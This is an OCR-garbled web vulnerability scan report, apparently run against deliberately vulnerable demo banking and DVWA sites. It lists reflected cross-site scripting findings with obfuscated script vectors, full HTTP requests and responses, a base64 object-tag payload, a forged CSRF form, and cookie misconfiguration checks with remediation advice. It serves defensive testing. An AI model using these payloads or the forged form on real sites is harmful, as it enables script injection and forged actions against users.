ml1/DTD/xntmll-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" >

<head>
<ctitle>Altoro Mutualc/title>
<meta http-equiv-"Content-Type" content="text/html; charset-iso-8859-1" />
<link href="/style.css" rel="stylesheet” type="text/css" />
</head>
<body style="margin-top:5px;”>

«div id="header" style="margin-bottom:Spx; width: 99%;">

“ INSIDE ALTORO MUTUAL

1
ONLINE BANKING LOGIN PERSONAL
PERSONAL
I Search Results
Deposit Product
Checking

No results were found for the query:

Loan Products

-

SMALL BUSINESS

Deposit Products
Lending Services
Cards

Insurance
Retirement

Other Services

INSIDE ALTORO MUTUAL

About Us

Contact Us
Locations
Investor Relations
Press Room
Careers

Subscribe

Cross-Site Scripting (XSS) found in GET-demol.indussecure.com/search

Jjsp?query={...}
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Unique Alert

D First Found Date Parameter URI
http://demo1l.indussecure.com/search.js
? =--0 0, [ [0 [ o)
1 1748726 8th January 2020 query p?query %3E%27%22%3E%3C%2Fs

CripT%2Fx%3E%3CsCrIpT%2Fx%3Ehai
kumsg(11111)%3C%2FsCrIpT%2Fx%3E

Attack Variant :: query

Injected URL:
http://demo1l.indussecure.com/search.jsp?query=--%3E%27%22%3E%3C %2FsCripT%2Fx%3E%3CsCripT%2Fx%3Ehai
kumsg(11111)%3C%2FsCrIpT%2Fx%3E

Vector:
-->""></sCripT/x><sCriIpT/x>haikumsg(11111)</sCrIpT/x>

Request:

GET /search.jsp?query=--%3E%27%22%3E%3C%2FsCripT%2Fx%3E%3CsCrlpT%2Fx%3Ehaikumsg(11111)%3C%2FsC
rIpT%2Fx%3E HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

referer: http://demo1l.indussecure.com/

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
content-length: 7022

date: Wed, 08 Jan 2020 13:33:29 GMT
connection: close

Result:
<script x="">haikumsg(11111)</script>

Cross-Site Scripting (XSS) found in GET-demol.indussecure.com/util/se
rverStatusCheckService.jsp?HostName={...}

Unique Alert

ID First Found Date Parameter URI

http://demol.indussecure.com/util/serv
erStatusCheckService.jsp?HostName=--
1 1748739 8th January 2020 HostName %3E%27%22%3E%3C%2FsCripT%2Fx
%3E%3CsCripT%2Fx%3Ehaikumsg(111
11)%3C%2FsCripT%2Fx%3E

Attack Variant :: HostName

Injected URL:
http://demo1l.indussecure.com/util/serverStatusCheckService.jsp?HostName=--%3E%27%22%3E%3C%2FsCrIpT%2Fx
%3E%3CsCripT%2Fx%3Ehaikumsg(11111)%3C%2FsCripT%2Fx%3E

Vector:
-->""></sCrIpT/x><sCrIpT/x>haikumsg(11111)</sCrIpT/x>
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GET /util/serverStatusCheckService.jsp?HostName=--%3E%27%22%3E%3C%2FsCrIpT%2Fx%3E%3CsCrIpT%2Fx%3Eh
aikumsg(11111)%3C%2FsCripT%2Fx%3E HTTP/1.1

accept: */*

accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001

referer: http://demol.indussecure.com/status_check.jsp

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demo1l.indussecure.com

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
content-length: 100

date: Wed, 08 Jan 2020 13:34:01 GMT
connection: close

Result:
<script x="">haikumsg(11111)</script>

Cross-Site Scripting XSS) found in POST-demol.indussecure.com//sen
dFeedback?cfile={... name {...}&email_addr={...}&subject={... } &co
mments={...}&submit={...

;’I';'q“e Alert First Found Date Parameter URI
1 1748745 8th January 2020 name o /demot indussecure.com//sendree

dback

Attack Variant :: name

Injected URL:
http://demol.indussecure.com//sendFeedback

Vector:
-->""></sCrIpT/x><sCrIpT/x>haikumsg(11111)</sCrIpT/x>

Request:

POST //sendFeedback HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
accept-language: en-US

content-type: application/x-www-form-urlencoded

cookie: JISESSIONID=BA3CBE631320270FOFBEF15A371E2001

origin: http://demol.indussecure.com

referer: http://demo1l.indussecure.com//feedback.jsp

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

content-length: 198

cfile=comments.txt&name=--%3E'%22%3E%3C%2FsCrIpT%2Fx%3E%3CsCripT%2Fx%3Ehaikumsg(11111)%3C%2FsC
rIpT%2Fx%3E&email_addr=test%40indusface.com&subject=defaultText&comments=defaultText&submit=%20Submit%?2
0
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Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
content-length: 7186

date: Wed, 08 Jan 2020 13:34:39 GMT
connection: close

Result:
<script x="">haikumsg(11111)</script>

Cross-Site Scriptin g(SS) found_in POST-demol.indussecure.com/send
Feedback?cﬁle:{..?} name={...}&email_addr={...}&subject={... }&com
ments={...}&submit={...}

Unique Alert

D First Found Date Parameter URI

1 1748736 8th January 2020 name z'étgél/(/demo1.mdussecure.com/sendFee

Attack Variant :: name

Injected URL:
http://demol.indussecure.com/sendFeedback

Vector:
-->""></sCripT/x><sCrIpT/x>haikumsg(11111)</sCrIpT/x>

Request:

POST /sendFeedback HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
accept-language: en-US

content-type: application/x-www-form-urlencoded

cookie: JISESSIONID=BA3CBE631320270FOFBEF15A371E2001

origin: http://demol.indussecure.com

referer: http://demol.indussecure.com/feedback.jsp

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

content-length: 198

cfile=comments.txt&name=--%3E'%22%3E%3C%2FsCrIpT%2Fx%3E%3CsCrIpT%2Fx%3Ehaikumsg(11111)%3C%2FsC
rIpT%2Fx%3E&email_addr=test%40indusface.com&subject=defaultText&comments=defaultText&submit=%20Submit%?2
0

Response:

200 OK

server: Apache-Coyote/1.1

content-type: text/html;charset=1S0-8859-1
content-length: 7186

date: Wed, 08 Jan 2020 13:35:50 GMT
connection: close

Result:
<script x="">haikumsg(11111)</script>

Cross-Site Scripting (XSS) found in http:/({demol.inglussecure.com DV
WA-1.0.8/vulnerabilities/xss r/?name=d] 08%  3Cobject+data=%22data
:text/html;base64,PHNjcmiwdD5hbGVydCgxKTwvc2NyaXBOPg==%22
% 3E%3C/object®%3E
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Unique Alert ID First Found Date URI

http://demol.indussecure.com/DVWA-1.0.8/vulnerabil
ities/xss_r/?name=j008%3Cobject+data=%22data:te
xt/html;base64,PHNjcmIiwdD5hbGVydCgxKTwvc2NyaX
BOPg==%22%3E%3C/object%3E

P 1 1491042 4th June 2018

Injected URL:
http://demo1l.indussecure.com/DVWA-1.0.8/vulnerabilities/xss_r/?name=j008%3Cobject+data=%22data:text/html;base
64,PHNjcmIwdD5hbGVydCgxKTwvc2NyaXBOPg==%22%3E%3C/object%3E

POC Details :

POC 1: Observe in the screenshot, cross site scripting script is added in the parameter in the

URL.

(&) bil /7 _I bject+ data=" ,PHNJ:m\wdDshbGVyngxKTm:ZNyaxeupg::”><,tuqect>\[* e 3 ‘ Q Search wa 3+ & T & @ # |-

\.

@Disabler & Cookiesw # €55~ [IForms~ [Elmages~ @nformation~ [EMiscellaneous~ # Outline™ ¢ Resizew & Tools~ [@View Source™ |11|Options™ v Q

)
D)

i Vulnerability: Reflected Cross Site Scripting (XSS)

Setup What's your name?

N
Command Execution | e
o |
Insecure CAPTCHA | More info

[FIE (I3 =TT | hitp://ha.ckers.orgixss.html 5
% h etlia.qrt IwikilCross site_scripting

Upload
EEET

DVWA Security
PHP Info

About

Submit

m

POC 2: Screenshot shows that the malicious script is accepted in the server end and application alert

windows pops-up.

(€ ) @ sonia10 indussecure.com/DVWA-L03/w: frss 17 object-data="data:text/ PHNjcmiwdDshot | e | x || Q search wa ¥ & 5 0@ & © » - =

\

@isable™ LiCookies # €55~ [JForms™ Elmages™ @Information™ [EMiscellaneous™ # Qutline™ ¢’ Resize™ & Tools> [MView Source™ [1]Options™ s QO

Page 81 of 90

Scan Date: 8th January 2020
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Others

24 :: Sensitive Form Is Vulnerable To CSRF

Vul Type: Sensitive Form Is Vulnerable To CSRF No of Places Found: 1
CVSS Score: 6.8 No of Instances Reported: 1
CVSS Vector: (AV:N/AC:M/Au:N/C:P/1:P/A:P)

Severity: High

Cross-Site Request Forgery (CSRF) is an attack that forces Web application users to execute
unwanted actions on a Web application in which they are authenticated. With a little social en
gineering, such as sending a link via e-mail or chat, an attacker may force the users to exec
Description: ute actions of the attacker's choosing. A successful CSRF exploit can compromise user data a
nd operations. If the targeted user is a Web administrator, the attack can compromise the en

tire Web application.

This is a flaw under the category A5 in the OWASP Top Ten.

Fix The Forms Vulnerable To CSRF.

In order to facilitate a "transparent but visible" CSRF solution, developers are encouraged to

adopt the Synchronizer Token Pattern. This approach requires generating random "challenge

Solution: " tokens that are associated with the user's current session. These challenge tokens are inser
ted within the HTML forms and links associated with sensitive server-side operations. When t
he user wishes to invoke these sensitive operations, the HTTP request should include this cha
llenge token. It is then the responsibility of the server application to verify the existence and

correctness of this token.

https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29 https://www.
Reference: owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/Top_10_2010-A5

Vulnerability Details:

Sensitive Form Is Vulnerable To CSRF found in http://demol.indussecur
e.com/DVWA-1.0.8/vulnerabilities/

Unique Alert ID First Found Date URI

http://demol.indussecure.com/DVWA-1.0.8/vulnerabil

P 1 1491054 4th June 2018 .
ities/

Injected URL:
http://demol.indussecure.com/DVWA-1.0.8/vulnerabilities/

POC Details :


http://www.corej2eepatterns.com/Design/PresoDesign.htm
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& [(;: sonial0.indussecure.com/DVWA-L0 8/vulnerabilities/xss_s/ [ Elewe | C || Q Seorch wBa 3 @ 0 & O »|- =

@pisable= KCookies= €55~ [IForms= Edlmages~ @Information~ [EMiscellaneous= /Outline ¢ Resize~ & Tools~ [@View Source= [1]Options~ ¢ Q

POC 1: Observe in the screenshot, current list of scripts in the application

Name: <IMG SRC="
Message:

Name: <IMG SRC="jav
ascript:document.vulnerable=true;">
Message:

Name:

Message: <IMG SRC="
Name:

Message: <IMG SRC="fav

ascript:document.vulnerable=true;">

Name: j008
Message: j008">Hello

MName: j008
Message: script

Name: 008
Message: javascript

MName: j008
Message: javascript: B

Name: 008 N
Message:

m

MName: j008
Message

Name: j008 m
Message: %20%67

MName: j008
Message: test

POC 2: Screenshot shows the HTML form of the forged request

<html>
<body>
<form action="http://soniall.indussecure.com/DVWA-1.0.8/vulnerabilities/xss_s/" method="POST">

;pe="hidden" name="txtName" wval joos" />

<input

<input type="hidden" n txMessage" value="testCSRE" />
<input type="hidden" n tnSign" value="Sign&#32:CGuestbook" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>

POC 3: Screenshot shows that application in the browser is HTML form is opened which has a

submit button.

= @ ‘test.html ‘ [ Q Searct

@DisableY & Cookies™ # 55~ [JForms~ [Elmages™ @Information™ |5 Miscellaneous™ _/Outlinev ﬁResizeY %ools" [BView Source™ |[N|Options™

Submit form

click on submit form button |
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POC 4: Screenshot shows that the forged request is accepted in the server and comment is added in the
application.

€ ':E:'I:cmeL‘lmdussa(ure‘(nm DVWA-1.08/vulnerabilities/xss_s [ Elee (= Search e+ AD 106 @ » - =

@pisabler &Cookiesw # €55 [dForms™ [Eimages™ @information™ [ Miscellaneous™ #Outline™ ¢ Resize J&Tools™ BView Source™ [1]Options™ v QQ

Hame:
Message: <IMG SRC="

Name:
Message: <IMG SRC="jav
ascript-document vulnerable=true: ">

Name: j008
Message: j008">Hello

Name: j008
Message: script

Name- j008
Message: javascript

MName: j008
Message: javascript:

Name: j008
Message:

Name- j008
Message:

MName: j008
Message: %20%67

MName: j008
Message: test

Name: j008
Message: testCSRF

n

More info

25 :: Session Cookie Manipulation
Vul Type: Session Cookie Manipulation No of Places Found: 1
CVSS Score: 6.5 No of Instances Reported: 3
CVSS Vector: CVSS:3.0#AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
CWE : CWE-16: Configuration
Severity:

Cookie is piece of information sent by a web server to store on a web browser which stores s
Description: ome specific personal information. If misconfigured then it can lead to dangerous vulnerabiliti
es such as xss, sql, session fixation etc.

Solution: It is suggested to configure and allow only required cookies in your application/servers

https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration https://www.t

Reference: . . . . : .
utorialspoint.com/security_testing/testing_cookies.htm

Vulnerability Details:
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Session Cookie Manipulation found in Cookies

;l[l;lque Alert First Found Date Parameter URI
1 2180100 8th January 2020 JSESSIONID http://demol.indussecure.com/retireme

nt.htm

Attack Variant :: JSESSIONID

Injected URL:
http://demo1l.indussecure.com/retirement.htm

Vector:
abcd1234

Request:

GET /retirement.htm HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001abcd1234

referer: http://demol.indussecure.com/index.jsp?content=business_retirement.htm
upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demo1l.indussecure.com

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

accept-ranges: bytes

etag: W/"1114-1497451722000"

last-modified: Wed, 14 Jun 2017 14:48:42 GMT
content-type: text/html

content-length: 1114

date: Wed, 08 Jan 2020 14:34:59 GMT
connection: close

Result:
JSESSIONID cookie can be misconfigured for the url http://demo1l.indussecure.com/retirement.htm Attacked cookie: JSE
SSIONID=BA3CBE631320270FOFBEF15A371E2001abcd1234

Unique Alert

D First Found Date Parameter URI

http://demol.indussecure.com/high_yiel

2 2180125 8th January 2020 JSESSIONID A
d_investments.htm

Attack Variant :: JISESSIONID

Injected URL:
http://demol.indussecure.com/high_yield_investments.htm

Vector:
abcd1234



j
Request:

GET /high_yield_investments.htm HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001abcd1234

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

accept-ranges: bytes

etag: W/"7653-1497451722000"

last-modified: Wed, 14 Jun 2017 14:48:42 GMT
content-type: text/html

content-length: 7653

date: Wed, 08 Jan 2020 14:38:19 GMT
connection: close

Result:
JSESSIONID cookie can be misconfigured for the url http://demol.indussecure.com/high_yield_investments.htm Attacke
d cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001abcd1234

;l[l;lque Alert First Found Date Parameter URI
3 2180138 8th January 2020 JSESSIONID http://demol.indussecure.com/swagger

/index.html

Attack Variant :: JISESSIONID

Injected URL:
http://demo1l.indussecure.com/swagger/index.html

Vector:
abcd1234

Request:

GET /swagger/index.html HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001abcd1234

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

accept-ranges: bytes

etag: W/"1427-1548795420000"
last-modified: Tue, 29 Jan 2019 20:57:00 GMT
content-type: text/html

content-length: 1427

date: Wed, 08 Jan 2020 14:42:50 GMT
connection: close
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JSESSIONID cookie can be misconfigured for the url http://demo1l.indussecure.com/swagger/index.html Attacked cookie
: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001abcd1234

26 :: Cookie Overly Broad Path Detected

Vul Type: Cookie Overly Broad Path Detected No of Places Found: 1
CVSS Score: 3.1 No of Instances Reported: 5
CVSS Vector: CVSS:3.0#AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N

CWE : CWE-16: Configuration

Severity: Low

The cookie 'path' attribute signifies the URL or path for which the cookie is valid. If an overly
broad path like root '/' is specified in the cookie then it is accessible through other application

Description: s on the same domain. Exposing the cookie to all web applications on the domain can lead to
sensitive information disclosure like session identifier, etc. and can cause one application to ¢
ompromise another application.

It is suggested that 'path' cookie attributes must be properly set in an environment where su

Solution:
ofution bdomains and subfolders host different applications.

Reference: https://www.owasp.org/index.php/Talk:Testing_for_cookies_attributes_(OTG-SESS-002)

Vulnerability Details:

Cookie Overly Broad Path Detected found in Cookies

;lglque Alert First Found Date Parameter URI
1 2179800 8th January 2020 JSESSIONID http://demo1l.indussecure.com/sendFee

dback

Attack Variant :: JISESSIONID

Injected URL:
http://demo1l.indussecure.com/sendFeedback

Vector:
abcd1234

Request:

POST /sendFeedback HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
accept-language: en-US

content-type: application/x-www-form-urlencoded

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001abcd1234

origin: http://demol.indussecure.com

referer: http://demol.indussecure.com/feedback.jsp

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

content-length: 124

cfile=comments.txt&name=defaultText&email_addr=test%40indusface.com&subject=defaultText&comments=defaultText
&submit=+Submit+
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Response:

200 OK

server: Apache-Coyote/1.1

set-cookie: JISESSIONID=40DA74DD1CB8093E37B8032E1E8B41A7; Path=/; HttpOnly
content-type: text/html;charset=1S0-8859-1

content-length: 7144

date: Wed, 08 Jan 2020 13:36:15 GMT

connection: close

Result:
The following cookies has overly broad path in them: Set-Cookie: JSESSIONID=40DA74DD1CB8093E37B8032E1E8B41A
7; Path=/; HttpOnly

Unique Alert

D First Found Date Parameter URI

2 2179803 8th January 2020 JSESSIONID http://demol.indussecure.com/login.jsp

Attack Variant :: JISESSIONID

Injected URL:
http://demo1l.indussecure.com/login.jsp

Vector:
abcd1234

Request:

GET /login.jsp HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
accept-language: en-US

cookie: JSESSIONID=BA3CBE631320270FOFBEF15A371E2001abcd1234

origin: http://demol.indussecure.com

referer: http://demol.indussecure.com/login.jsp

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

set-cookie: JISESSIONID=97A8A2D776B907620B612CCDDF580B7E; Path=/; HttpOnly
content-type: text/html;charset=1S0-8859-1

transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:37:38 GMT

connection: close

Result:
The following cookies has overly broad path in them: Set-Cookie: JSESSIONID=97A8A2D776B907620B612CCDDF580B7
E; Path=/; HttpOnly

Unique Alert

D First Found Date Parameter URI

http://demo1l.indussecure.com/search.js

217981 h 202 ESSIONID
3 9815 8th January 2020 ISESSIO p?query=defaultText&Submit=Go

Attack Variant :: JISESSIONID

Injected URL:
http://demo1l.indussecure.com/search.jsp?query=defaultText&Submit=Go



Vector:
-->""></sCrIpT/x><sCrlpT/x>haikumsg(11111)</sCrIpT/x>

j
Request:

GET /search.jsp?query=defaultText&Submit=Go HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JSESSIONID=-->""></sCrIpT/x><sCrlpT/x>haikumsg(11111)</sCrIpT/x>

referer: http://demol.indussecure.com/

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

set-cookie: JISESSIONID=EB66FA0091B27A2E6D33B04E5096A180; Path=/; HttpOnly
content-type: text/html;charset=1S0-8859-1

content-length: 6980

date: Wed, 08 Jan 2020 13:40:05 GMT

connection: close

Result:
The following cookies has overly broad path in them: Set-Cookie: JSESSIONID=EB66FA0091B27A2E6D33B04E5096A180
; Path=/; HttpOnly

;l[r,uque Alert First Found Date Parameter URI
4 2179823 8th January 2020 JSESSIONID http://demo1l.indussecure.com/index.jsp

?content=inside_contact.htm

Attack Variant :: JISESSIONID

Injected URL:
http://demol.indussecure.com/index.jsp?content=inside_contact.htm

Vector:
abcd1234

Request:

GET /index.jsp?content=inside_contact.htm HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JISESSIONID=BA3CBE631320270FOFBEF15A371E2001abcd1234

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

Response:

200 OK

server: Apache-Coyote/1.1

set-cookie: JSESSIONID=DD151C1784D5BE1136393C27E6B02D9A; Path=/; HttpOnly
content-type: text/html;charset=1S0-8859-1

transfer-encoding: chunked

date: Wed, 08 Jan 2020 13:42:10 GMT

connection: close
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The following cookies has overly broad path in them: Set-Cookie: JSESSIONID=DD151C1784D5BE1136393C27E6B02D9
A; Path=/; HttpOnly

Unique Alert

ID First Found Date Parameter URI

5 | 2179830 8th January 2020 JSESSIONID http://demot.indussecure.com/Privacyp
olicy.jsp?sec=Careers&template=US

Attack Variant :: JISESSIONID

Injected URL:
http://demo1l.indussecure.com/Privacypolicy.jsp?sec=Careers&template=US

Vector:
-->""></sCrIpT/x><sCrlpT/x>haikumsg(11111)</sCrIpT/x>

Request:

GET /Privacypolicy.jsp?sec=Careers&template=US HTTP/1.1

accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

accept-language: en-US

cookie: JISESSIONID=-->""></sCrIpT/x><sCrIpT/x>haikumsg(11111)</sCrIpT/x>

upgrade-insecure-requests: 1

user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Electron/
2.0.11 Safari/537.36

host: demol.indussecure.com

accept-encoding: gzip, deflate

Response:

404 Not Found

server: Apache-Coyote/1.1

set-cookie: JISESSIONID=C1E80CD02AD54F7235E1417D5FEC37D1; Path=/; HttpOnly
content-type: text/html;charset=1S0-8859-1

content-length: 6922

date: Wed, 08 Jan 2020 13:45:58 GMT

connection: close

Result:
The following cookies has overly broad path in them: Set-Cookie: JSESSIONID=C1E80CD02AD54F7235E1417D5FEC37D
1; Path=/; HttpOnly
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